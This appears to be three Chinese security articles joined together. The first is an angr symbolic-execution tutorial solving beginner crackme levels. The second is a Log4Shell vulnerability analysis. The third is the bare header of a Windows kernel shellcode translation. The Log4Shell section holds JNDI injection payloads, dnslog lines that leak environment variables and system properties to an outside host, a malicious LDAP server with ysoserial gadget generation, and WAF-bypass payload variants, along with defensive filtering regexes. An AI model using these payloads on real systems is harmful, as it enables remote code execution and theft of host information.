Angr是加州大学圣芭芭拉分校基于Python设计的工具，它结合了静态分析技术与动态分析技术是当前符号化执行领域较为先进的工具，其挖掘漏洞效果好，在许多竞赛中表现卓越。Angr总的来说是一个多架构的二进制分析平台，具备对二进制文件的动态符号执行能力和多种静态分析能力。在逆向中，一般使用的其动态符号执行解出Flag，但其实Angr还在诸多领域存在应用，比如对程序脆弱性的分析中。
## 00_angr_find
首先检查一下文件：
syc@ubuntu:~/Desktop/TEMP$ checksec '/home/syc/Desktop/TEMP/00_angr_find'
[*] '/home/syc/Desktop/TEMP/00_angr_find'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
用IDA打开查看一下伪C代码：
int __cdecl main(int argc, const char **argv, const char **envp)
{
signed int i; // [esp+1Ch] [ebp-1Ch]
char s1[9]; // [esp+23h] [ebp-15h]
unsigned int v6; // [esp+2Ch] [ebp-Ch]
v6 = __readgsdword(0x14u);
printf("Enter the password: ");
__isoc99_scanf("%8s", s1);
for ( i = 0; i <= 7; ++i )
s1[i] = complex_function(s1[i], i);
if ( !strcmp(s1, "JACEJGCS") )
puts("Good Job.");
else
puts("Try again.");
return 0;
}
这里可以发现关键的函数complex_function对我们输入的字符串处理后，与字符串”JACEJGCS”进行了比较，我们可以进入查看该函数：
int __cdecl complex_function(signed int a1, int a2)
{
if ( a1 <= 64 || a1 > 90 )
{
puts("Try again.");
exit(1);
}
return (3 * a2 + a1 - 65) % 26 + 65;
}
很标准的可以使用Angr进行解题的题型，也可以使用很常规的爆破手段去解题：
str1 = "JACEJGCS"
flag = ""
def complex_function(a1,a2):
return (3 * a2 + a1 - 65) % 26 + 65
if __name__ == "__main__":
for i in range(len(str1)):
for j in range(64,90):
if ord(str1[i]) == complex_function(j,i):
flag += chr(j)
break
print(flag)
这题基础题主要是熟悉一下Angr的基本使用步骤,一般来说使用Angr的步骤可以分为：
* 创建 project
* 设置 state
* 新建符号量 : BVS (bitvector symbolic ) 或 BVV (bitvector value)
* 把符号量设置到内存或者其他地方
* 设置 Simulation Managers ， 进行路径探索的对象
* 运行，探索满足路径需要的值
* 约束求解，获取执行结果
先放一下解这题的脚本，然后逐以解释：
import angr
import sys
def Go():
path_to_binary = "./00_angr_find"
project = angr.Project(path_to_binary, auto_load_libs=False)
initial_state = project.factory.entry_state()
simulation = project.factory.simgr(initial_state)
print_good_address = 0x8048678
simulation.explore(find=print_good_address)
if simulation.found:
solution_state = simulation.found[0]
solution = solution_state.posix.dumps(sys.stdin.fileno())
print("[+] Success! Solution is: {}".format(solution.decode("utf-8")))
else:
raise Exception('Could not find the solution')
if __name__ == "__main__":
Go()
查看运行一下看看：
得到flag：JXWVXRKX，和我们之前用传统方法得到答案一致，接下来开始分析一个简单的angr脚本构成
### 创建Project
path_to_binary = "./00_angr_find"
project = angr.Project(path_to_binary, auto_load_libs=False)
使用
angr的首要步骤就是创建Project加载二进制文件。angr的二进制装载组件是CLE，它负责装载二进制对象（以及它依赖的任何库）和把这个对象以易于操作的方式交给angr的其他组件。angr将这些包含在Project类中。一个Project类是代表了你的二进制文件的实体。你与angr的大部分操作都会经过它
auto_load_libs 设置是否自动载入依赖的库，在基础题目中我们一般不需要分析引入的库文件，这里设置为否
> *
> 如果`auto_load_libs`是`True`（默认值），真正的库函数会被执行。这可能正是也可能不是你想要的，取决于具体的函数。比如说一些libc的函数分析起来过于复杂并且很有可能引起path对其的尝试执行过程中的state数量的爆炸增长
> *
> 如果`auto_load_libs`是`False`，且外部函数是无法找到的，并且Project会将它们引用到一个通用的叫做`ReturnUnconstrained`的`SimProcedure`上去，它就像它的名字所说的那样：它返回一个不受约束的值
>
### 设置 state
initial_state = project.factory.entry_state()
state代表程序的一个实例镜像，模拟执行某个时刻的状态，就类似于 **快照**
。保存运行状态的上下文信息，如内存/寄存器等,我们这里使用`project.factory.entry_state()`告诉符号执行引擎从程序的入口点开始符号执行，除了使用`.entry_state()`
创建 state 对象, 我们还可以根据需要使用其他构造函数创建 state
### 设置 Simulation Managers
simulation = project.factory.simgr(initial_state)
Project 对象仅表示程序一开始的样子，而在执行时，我们实际上是对SimState对象进行操作，它代表程序的一个实例镜像，模拟执行某个时刻的状态
`SimState` 对象包含程序运行时信息，如内存/寄存器/文件系统数据等。SM（Simulation
Managers）是angr中最重要的控制接口，它使你能够同时控制一组状态(state)的符号执行，应用搜索策略来探索程序的状态空间。
### 运行，探索满足路径需要的值
print_good_address = 0x8048678
simulation.explore(find=print_good_address)
符号执行最普遍的操作是找到能够到达某个地址的状态，同时丢弃其他不能到达这个地址的状态。SM为使用这种执行模式提供了`.explore()`方法
当使用`find`参数启动`.explore()`方法时，程序将会一直执行，直到发现了一个和`find`参数指定的条件相匹配的状态。`find`参数的内容可以是想要执行到的某个地址、或者想要执行到的地址列表、或者一个获取state作为参数并判断这个state是否满足某些条件的函数。当`active`stash中的任意状态和`find`中的条件匹配的时候，它们就会被放到`found
stash`中，执行随即停止。之后你可以探索找到的状态，或者决定丢弃它，转而探索其它状态。
这里0x8048678的地址值是根据IDA打开后我们可以发现是保存导致打印“ Good Job”的块地址的变量
若能输出正确的字符串”Good Job”即代表我们的执行路径是正确的
### 获取执行结果
if simulation.found:
solution_state = simulation.found[0] # 获取通过 explore 找到符合条件的状态
solution = solution_state.posix.dumps(sys.stdin.fileno())
print("[+] Success! Solution is: {}".format(solution.decode("utf-8")))
此时相关的状态已经保存在了`simgr`当中，我们可以通过`simgr.found`来访问所有符合条件的分支，这里我们为了解题，就选择第一个符合条件的分支即可
这里解释一下`sys.stdin.fileno()`,在UNIX中，按照惯例，三个文件描述符分别表示标准输入、标准输出和标准错误
>>> import sys
>>> sys.stdin.fileno()
0
>>> sys.stdout.fileno()
1
>>> sys.stderr.fileno()
2
所以一般也可以写成：
solution = solution_state.posix.dumps(0)
## 01_angr_avoid
这题主要是引入了`.explore()`方法的另一个参数void，我们可以看看这个方法的原型
def explore(self, stash='active', n=None, find=None, avoid=None, find_stash='found', avoid_stash='avoid', cfg=None,um_find=1, **kwargs):
和之前提到过的find参数类是，你还可以按照和`find`相同的格式设置另一个参数——`avoid`。当一个状态和`avoid`中的条件匹配时，它就会被放进`avoided
stash`中，之后继续执行。
首先检查一下文件：
syc@ubuntu:~/Desktop/TEMP$ checksec '/home/syc/Desktop/TEMP/01_angr_avoid'
[*] '/home/syc/Desktop/TEMP/01_angr_avoid'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
这题用IDA打开想F5的话，会提示main函数过大，虽然其实也不用F5，但是我还是想看看反汇编出来的main函数，这里我使用的是retdec（[https://github.com/avast/retdec）](https://github.com/avast/retdec%EF%BC%89)
下载下来后，运行这段命令执行反汇编操作：
PS C:\Users\syc> python C:\Users\syc\Downloads\retdec-v4.0-windows-64b\retdec\bin\retdec-decompiler.py D:\build\AngrCTF_FITM\01_angr_avoid\01_angr_avoid
运行需要一点时间，稍等一会儿就可以在根目录获得C语言的源代码
查看一下获得的源代码的main函数
这题就是为了angr而生的题目，我们只需要让执行流只进入maybe_good函数，而避免进入avoid_me函数即可，现在需要拿到这两个函数的地址
最后编写的EXP：
import angr
import sys
def Go():
path_to_binary = "./01_angr_avoid"
project = angr.Project(path_to_binary, auto_load_libs=False)
initial_state = project.factory.entry_state()
simulation = project.factory.simgr(initial_state)
avoid_me_address = 0x080485A8
maybe_good_address = 0x080485E0
simulation.explore(find=maybe_good_address, avoid=avoid_me_address)
if simulation.found:
solution_state = simulation.found[0]
solution = solution_state.posix.dumps(sys.stdin.fileno())
print("[+] Success! Solution is: {}".format(solution.decode("utf-8")))
else:
raise Exception('Could not find the solution')
if __name__ == "__main__":
Go()
运行获得flag：
## 02_angr_find_condition
这一题和之前的题目其实一样的，只不过题目本意是教会我们如何根据程序本身的输出来告诉angr应避免或保留的内容。因为有时候打开二进制文件将看到有很多打印“
Good Job”的块，或“Try
Again”的块。每次都记录下这些块的所有起始地址是一个麻烦的的问题，这时候我们可以直接根据打印到stdout的内容告诉angr保留或丢弃状态
先检查一下文件：
syc@ubuntu:~/Desktop/TEMP$ checksec '/home/syc/Desktop/TEMP/02_angr_find_condition'
[*] '/home/syc/Desktop/TEMP/02_angr_find_condition'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
用ida打开一下查看一下main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
signed int i; // [esp+18h] [ebp-40h]
signed int j; // [esp+1Ch] [ebp-3Ch]
char s1[20]; // [esp+24h] [ebp-34h]
char s2[4]; // [esp+38h] [ebp-20h]
int v8; // [esp+3Ch] [ebp-1Ch]
unsigned int v9; // [esp+4Ch] [ebp-Ch]
v9 = __readgsdword(0x14u);
for ( i = 0; i <= 19; ++i )
s2[i] = 0;
*(_DWORD *)s2 = 1381128278;
v8 = 1381320010;
printf("Enter the password: ");
__isoc99_scanf("%8s", s1);
for ( j = 0; j <= 7; ++j )
s1[j] = complex_function(s1[j], j + 8);
if ( !strcmp(s1, s2) )
puts("Good Job.");
else
puts("Try again.");
return 0;
}
int __cdecl complex_function(signed int a1, int a2)
{
if ( a1 <= 64 || a1 > 90 )
{
puts("Try again.");
exit(1);
}
return (31 * a2 + a1 - 65) % 26 + 65;
}
几乎没变，用之前的脚本改一改也能跑出flag：
str1 = "VXRRJEUR"
flag = ""
def complex_function(a1,a2):
return (31 * a2 + a1 - 65) % 26 + 65
if __name__ == "__main__":
for i in range(len(str1)):
for j in range(64,90):
if ord(str1[i]) == complex_function(j,i+8):
print(i+8)
flag += chr(j)
break
print(flag)
angr的exp：
import angr
import sys
def Go():
path_to_binary = "./02_angr_find_condition"
project = angr.Project(path_to_binary, auto_load_libs=False)
initial_state = project.factory.entry_state()
simulation = project.factory.simgr(initial_state)
def is_successful(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
if b'Good Job.' in stdout_output:
return True
else:
return False
def should_abort(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
if b'Try again.' in stdout_output:
return True
else:
return False
simulation.explore(find=is_successful, avoid=should_abort)
if simulation.found:
solution_state = simulation.found[0]
solution = solution_state.posix.dumps(sys.stdin.fileno())
print("[+] Success! Solution is: {}".format(solution.decode("utf-8")))
else:
raise Exception('Could not find the solution')
if __name__ == "__main__":
Go()
重点是分析一下引入的两个新函数，选择其中一个来说一说：
def is_successful(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
if b'Good Job.' in stdout_output:
return True
else:
return False
我们将打印到标准输出的内容放入`stdout_output`变量中。请注意，这不是字符串，而是字节对象，这意味着我们必须使用`b'Good
Job.'`而不是仅`"Good Job."`来检查我们是否正确输出了“ Good Job”
引入一个函数来对状态进行检测是为了实现动态的选择想获取的state。回想一下之前我们的`simulation.explore`都是固定写死的具体地址，但我们引入一个函数就可以动态的进行分析获取state
运行一下获得答案：
## 03_angr_simbolic_registers
这题主要是因为angr在处理复杂格式的字符串scanf()输入的时候不是很好，我们可以直接将符号之注入寄存器，也就是主要学会符号化寄存器
首先检查一下文件：
syc@ubuntu:~/Desktop/TEMP$ checksec 03_angr_symbolic_registers
[*] '/home/syc/Desktop/TEMP/03_angr_symbolic_registers'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
拖入IDA查看一下程序逻辑：
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // ebx
int v4; // eax
int v5; // edx
int v6; // ST1C_4
unsigned int v7; // ST14_4
unsigned int v9; // [esp+8h] [ebp-10h]
unsigned int v10; // [esp+Ch] [ebp-Ch]
printf("Enter the password: ");
v4 = get_user_input();
v6 = v5;
v7 = complex_function_1(v4);
v9 = complex_function_2(v3);
v10 = complex_function_3(v6);
if ( v7 || v9 || v10 )
puts("Try again.");
else
puts("Good Job.");
return 0;
}
关键的函数就是需要分析`get_user_input()`和`complex_function()`
int get_user_input()
{
int v1; // [esp+0h] [ebp-18h]
int v2; // [esp+4h] [ebp-14h]
int v3; // [esp+8h] [ebp-10h]
unsigned int v4; // [esp+Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
__isoc99_scanf("%x %x %x", &v1, &v2, &v3);
return v1;
}
unsigned int __cdecl complex_function_1(int a1)
{
return (((((((((((((((((((((a1 + 17062705) ^ 0xB168C552) + 647103529) ^ 0x9F14CFD7) - 548738866) ^ 0xF78063EF)
- 1352480098) ^ 0x5D1F4C6)
- 57802472) ^ 0xB6F70BF8)
- 1347645151
+ 648671421) ^ 0x3D5082FE)
- 9365053) ^ 0xD0150EAD)
+ 1067946459) ^ 0xE6E03877)
- 359192087
+ 961945065) ^ 0xE1EECD69)
- 1817072919) ^ 0x6B86ECF5)
- 449212884) ^ 0x2012CCDB;
}
可以发现这次的输入是一个复杂的格式化字符串，`"%x %x %x"`意味着使用三个十六进制值作为输入，我们看一下汇编代码
可以得知我们输入的三个值最后是分别赋值给了EAX，EBX，EDX寄存器，所以我们要控制输入只需要控制这三个寄存器的值就行
看一下最后的EXP，然后再逐步分析：
import angr
import sys
import claripy
def Go():
path_to_binary = "./03_angr_symbolic_registers"
project = angr.Project(path_to_binary, auto_load_libs=False)
start_address = 0x08048980
initial_state = project.factory.blank_state(addr=start_address)
passwd_size_in_bits = 32
passwd0 = claripy.BVS('passwd0', passwd_size_in_bits)
passwd1 = claripy.BVS('passwd1', passwd_size_in_bits)
passwd2 = claripy.BVS('passwd2', passwd_size_in_bits)
initial_state.regs.eax = passwd0
initial_state.regs.ebx = passwd1
initial_state.regs.edx = passwd2
simulation = project.factory.simgr(initial_state)
def is_successful(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
if b'Good Job.\n' in stdout_output:
return True
else:
return False
def should_abort(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
if b'Try again.\n' in stdout_output:
return True
else:
return False
simulation.explore(find=is_successful, avoid=should_abort)
if simulation.found:
for i in simulation.found:
solution_state = i
solution0 = format(solution_state.solver.eval(passwd0), 'x')
solution1 = format(solution_state.solver.eval(passwd1), 'x')
solution2 = format(solution_state.solver.eval(passwd2), 'x')
solution = solution0 + " " + solution1 + " " + solution2
print("[+] Success! Solution is: {}".format(solution))
# print(simgr.found[0].posix.dumps(0))
else:
raise Exception('Could not find the solution')
if __name__ == "__main__":
Go()
运行一下获得结果：
这次我们可以不用从main函数的开头开始，这里我们直接跳过`get_user_input()`函数，直接设置寄存器`eax, ebx, edx`
### states
从这题开始，我们可以更多的窥见states的功能，states这只是factory提供的多个构造函数中的一个，即
`AngrObjectFactory`，提供重要分析对象的接口
#### 状态预设
除了使用`.entry_state()` 创建 state 对象, 我们还可以根据需要使用其他构造函数创建 state:
名称 | 描述
---|---
`.entry_state()` | 构造一个已经准备好从函数入口点执行的状态
`.blank_state` | 构造一个“空状态”，它的大多数数据都是未初始化的。当使用未初始化的的数据时，一个不受约束的符号值将会被返回
`.call_state` | 构造一个已经准备好执行某个函数的状态
`.full_init_state` |
构造一个已经执行过所有与需要执行的初始化函数，并准备从函数入口点执行的状态。比如，共享库构造函数（constructor）或预初始化器。当这些执行完之后，程序将会跳到入口点
请注意，这次我们使用的是`blank_state()`方法，而不是`entry_state()`。通过传递`addr=start_address`，我们有效地告诉`blank_state()`在该特定地址创建一个新状态
start_address = 0x08048980
initial_state = project.factory.blank_state(addr=start_address)
#### 位向量(bitvector)
更应该准确的说是符号位向量，符号位向量是angr用于将符号值注入程序的数据类型。这些将是angr将解决的方程式的“ x”，也就是约束求解时的自变量。可以通过
`BVV(value,size)` 和 `BVS( name, size)` 接口创建位向量，也可以用 FPV 和 FPS 来创建浮点值和符号
在这里我们使用claripy通过`BVS()`方法生成三个位向量。此方法有两个参数：第一个是angr用来引用位向量的名称，第二个是位向量本身的大小（以位为单位）。由于符号值存储在寄存器中，并且寄存器的长度为32位，因此位向量的大小将为32位
passwd_size_in_bits = 32
passwd0 = claripy.BVS('passwd0', passwd_size_in_bits)
passwd1 = claripy.BVS('passwd1', passwd_size_in_bits)
passwd2 = claripy.BVS('passwd2', passwd_size_in_bits)
#### 访问寄存器
`get_user_input()`对输入进行了解析并将其放入三个寄存器中，我们可以通过 `state.regs` 对象的属性访问以及修改寄存器的数据
是时候把我们之前创建的符号位向量（bitvectors）放入属于他们的地方：寄存器`EAX`，`EBX`和`EDX`。我们将修改`initial_state`之前创建的内容并更新寄存器的内容
initial_state.regs.eax = passwd0
initial_state.regs.ebx = passwd1
initial_state.regs.edx = passwd2
现在我们必须定义`find`and `avoid`状态，我们将像以前一样进行操作：
def is_successful(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
if b'Good Job.\n' in stdout_output:
return True
else:
return False
def should_abort(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
if b'Try again.\n' in stdout_output:
return True
else:
return False
simulation.explore(find=is_successful, avoid=should_abort)
#### 约束求解
可以通过使用`state.solver.eval(symbol)`对各个断言进行评测来求出一个合法的符号值（若有多个合法值，返回其中的一个），我们根据`eval()`之前注入的三个符号值调用求解器引擎的方法
solution0 = format(solution_state.solver.eval(passwd0), 'x')
solution1 = format(solution_state.solver.eval(passwd1), 'x')
solution2 = format(solution_state.solver.eval(passwd2), 'x')
solution = solution0 + " " + solution1 + " " + solution2
print("[+] Success! Solution is: {}".format(solution))
最后运行脚本即可获得答案
## 参考文献
【1】angr官方文档—— <https://docs.angr.io/core-concepts>
【2】angr 系列教程(一）核心概念及模块解读—— <https://xz.aliyun.com/t/7117#toc-14>
【3】Introduction to angr Part 0 —— <https://blog.notso.pro/2019-03-20-angr-introduction-part0/>
【4】angr文档翻译 —— <https://www.jianshu.com/p/3ecafe701578> | 社区文章 |
**作者：lxraa
本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：[email protected]**
# 一、漏洞分析
调试版本：2.14.1
### 1、漏洞触发点：
org.apache.logging.log4j.core.net.JndiManager:172
调用栈：
熟悉的lookup，因此log4shell如果要命令执行，需要利用jndi触发的反序列化漏洞，并不是单纯的rce，等价于：
// name可控
String name = "ldap://127.0.0.1:1333/#Exploit";
Context ctx = new InitialContext();
ctx.lookup(name);
### 2、代码分析
关键函数1：
org\apache\logging\log4j\core\lookup\StrSubstitutor.substitute
函数流程如下：
* 找到String中的${}，将里面的变量拿出来解析
其中prefixMatcher是一个StringMatcher继承自虚类StrMatcher，用来匹配字符串，后面多处用到，他的关键函数定义及作用是
/**
看buffer的pos处是否为指定字符串(初始化时指定，如prefixMatcher的指定字符串为"${")，如果是则返回字符串长度，否则返回0；
**/
`public abstract int isMatch(char[] buffer, int pos, int bufferStart, int
bufferEnd);`
* 987行到1029行会对`:-`和`：\-`进行处理，与漏洞主要逻辑无关，但该处可以用来绕过waf，详见漏洞利用
* 1033行调用resolveVariable解析${}里弄出来的变量
关键函数2：
org\apache\logging\log4j\core\lookup\StrSubstitutor.resolveVariable
这个函数获取StrLookup对${}里的变量进行解析，StrLookup是个接口，Interpolator类间接实现了StrLookup:
public class Interpolator extends AbstractConfigurationAwareLookup ...
public abstract class AbstractConfigurationAwareLookup extends AbstractLookup implements ConfigurationAware ...
public abstract class AbstractLookup implements StrLookup ...
它的lookup方法通过`:`前的PREFIX，从Interpolator的一个私有hashmap里决定分配给哪个具体的Lookup处理变量，所有支持的PREFIX有：
对应所有接口的实现在org\apache\logging\log4j\core\lookup\包：
* 各StrLookup接口实现功能分析：
关键函数是`lookup(final LogEvent event,final String key);`
date：格式化时间：
java：输出本地java语言相关信息：
marker：从event的marker中获取信息，暂不清楚做什么用
ctx：从event的contextData(一个map)中取value
lower：取小写
upper：取大写
jndi：等价与
// name可控
String name = "xxx";
Context ctx = new InitialContext();
ctx.lookup(name);
main：从内存某个map里获取value
jvmrunargs：本意好像是从jvm参数中获取参数，调试中发现初始化的map和strLookupMap中的map不是同一个，原因未知
sys：等价于`System.getProperty(xxx)`
env：等价于`System.env`获取环境变量，可以如下图所示列出本地所有的环境变量
log4j：支持configLocation和configParentLocation两个key，当存在log4j2.xml配置文件时，可以获取该文件的绝对路径，和上级文件夹的绝对路径
# 二、漏洞利用
### 1、漏洞探测
常规方法，可以利用dns log探测漏洞是否存在，例：利用ceye探测漏洞是否存在：
logger.error("${jndi:ldap://****.ceye.io/}");
### 2、信息收集
利用sys、env等lookup+dnslog，进行利用环境的信息收集（由于域名中不能存在某些特殊字符，因此不是所有的环境变量都可以利用dnslog带出来），以下是部分windows下利用的payload：
logger.error("${jndi:ldap://${env:OS}.vwva2y.ceye.io/}"); //系统版本
logger.error("${jndi:ldap://${env:USERNAME}.vwva2y.ceye.io/}");//用户名
logger.error("${jndi:ldap://${sys:java.version}.vwva2y.ceye.io/}");//java版本，这个比较关键，因为jndi注入的payload高度依赖于java版本
logger.error("${jndi:ldap://${sys:os.version}.vwva2y.ceye.io/}");//系统版本
logger.error("${jndi:ldap://${sys:user.timezone}.vwva2y.ceye.io/}");//时区
logger.error("${jndi:ldap://${sys:file.encoding}.vwva2y.ceye.io/}");//文件编码
logger.error("${jndi:ldap://${sys:sun.cpu.endian}.vwva2y.ceye.io/}");//cpu大端or小端
logger.error("${jndi:ldap://${sys:sun.desktop}.vwva2y.ceye.io/}");//系统版本
logger.error("${jndi:ldap://${sys:sun.cpu.isalist}.vwva2y.ceye.io/}");//cpu指令集
### 3、RCE
log4shell的RCE基本等于jndi注入，log4shell可以探测jdk版本，可以根据实际环境选择适当的方法进行rce。jndi注入的利用姿势可以参考：
<https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html>
以下以1.8.0_261版本下的rce为例：
由于8u191+的jdk不再信任远程加载的类，本例使用ldap
entry的javaSerializedData属性的反序列化触发本地的Gadget，利用条件是工程有commons-collections依赖，版本需
<=3.2.1（ysoserial说需小于3.1，实测3.2.1及以下均可使用）
* 使用ysoserial生成base64 payload（使用windows的同学注意powershell生成可能会有问题，请使用cmd生成）
java -jar .\ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 "calc" |base64 > pp.txt
* 构造恶意LDAP服务器，参考了marshalsec
package com.lxraa.test.jndi;
import java.io.FileInputStream;
import java.io.IOException;
import java.net.InetAddress;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.twitter.chill.Base64;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
public class LDAPServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
int port = 1333;
String url = "http://127.0.0.1:3000/#Exploit";
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, IOException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "th3wind");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
byte[] bytes2 = Base64.decode("**************");
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
e.addAttribute("javaSerializedData", bytes2);
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
* poc：
logger.error("${jndi:ldap://127.0.0.1:1333/#Exploit}");
### 4、payload变形
* 利用本身的lookup`${lower:J}`
logger.error("${${lower:J}ndi:ldap://127.0.0.1:1333/#Exploit}");
* 利用substitute的解析问题，前文提到关键代码在987行到1029行
总结一下就是截取:-后面的部分，如果存在多个:-则以第一个为准，例如：
func("asdasdasdasd:-x") = "x";
func("asdasdasdasd:-asdasdasd:-x") = "asdasdasd:-x"
如果lookup返回null，则把该${}块替换为这样处理后的字符串，因此可以构造payload：
logger.error("${${anychars:-j}ndi:ldap://127.0.0.1:1333/#Exploit}");
logger.error("${${anychars:-j}ndi${anychars:-:}ldap://127.0.0.1:1333/#Exploit}"); //特殊字符也可替换
# 三、修复建议
### 1、waf（缓解措施，不能保证过滤全部攻击包
*仅提供思路，不保证正则性能，请根据实际生产情况优化
过滤思路：
①如果不存在`\$\{(.*):-(.*)\}`，则攻击包中必存在连续关键字，直接过滤所有log4j2支持的lookup：
${date:
${java:
${marker:
${ctx:
${lower:
${upper:
${jndi:
${main:
${jvmrunargs:
${sys:
${env:
${log4j:
② 如果存在`\$\{(.*):-(.*)\}`，则文中可能不存在连续关键字，如`${${xxxxx:-l}ower:}`
，但是log4j2语法只支持大小写转换，不会有编码及替换，因此关键字词序不变，且最多存在大小写混淆，可使用：
// 其他lookup同理
\$(.*?)\{(.*?)[jJ](.*?)[nN](.*?)[dD](.*?)[iI](.*?):
### 2、网络层控制（缓解措施
禁止非必须出向流量
### 3、升级JDK（缓解措施
高版本JDK的jndi注入利用难度相对较大
### 4、排除非必须反序列化Gadget（缓解措施
参照ysoserial说明文档
Payload Authors Dependencies
------- ------- ------------ AspectJWeaver @Jang aspectjweaver:1.9.2, commons-collections:3.2.2
BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5
C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11
Click1 @artsploit click-nodeps:2.3.0, javax.servlet-api:3.1.0
Clojure @JackOfMostTrades clojure:1.8.0
CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
CommonsCollections1 @frohoff commons-collections:3.1
CommonsCollections2 @frohoff commons-collections4:4.0
CommonsCollections3 @frohoff commons-collections:3.1
CommonsCollections4 @frohoff commons-collections4:4.0
CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
CommonsCollections6 @matthias_kaiser commons-collections:3.1
CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4
Groovy1 @frohoff groovy:2.3.9
Hibernate1 @mbechler
Hibernate2 @mbechler
JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
JRMPClient @mbechler
JRMPListener @mbechler
JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jdk7u21 @frohoff
Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2
MozillaRhino1 @matthias_kaiser js:1.7R2
MozillaRhino2 @_tint0 js:1.7R2
Myfaces1 @mbechler
Myfaces2 @mbechler
ROME @mbechler rome:1.0
Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
URLDNS @gebl
Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14
Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4
### 5、配置关闭lookup功能（缓解措施
* 修改 jvm 参数 -Dlog4j2.formatMsgNoLookups=true
* 修改配置 log4j2.formatMsgNoLookups=True
注意：2.10以前版本修改jvm参数无效的
### 6、升级log4j2版本到2.16.0+
注意依赖包里可能存在有漏洞的log4j-api和log4j-core，需一并排查
参考文章：
<https://mp.weixin.qq.com/s/Yq9k1eBquz3mM1sCinneiA>
<https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html>
* * * | 社区文章 |
# 【技术分享】探索基于Windows 10的Windows内核Shellcode（Part 3）
|
##### 译文声明
本文是翻译文章，文章来源：improsec.com
原文地址：<https://improsec.com/blog//windows-kernel-shellcode-on-windows-10-part-3>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[金乌实验室](http://bobao.360.cn/member/contribute?uid=2818394007)
预估稿费：100RMB
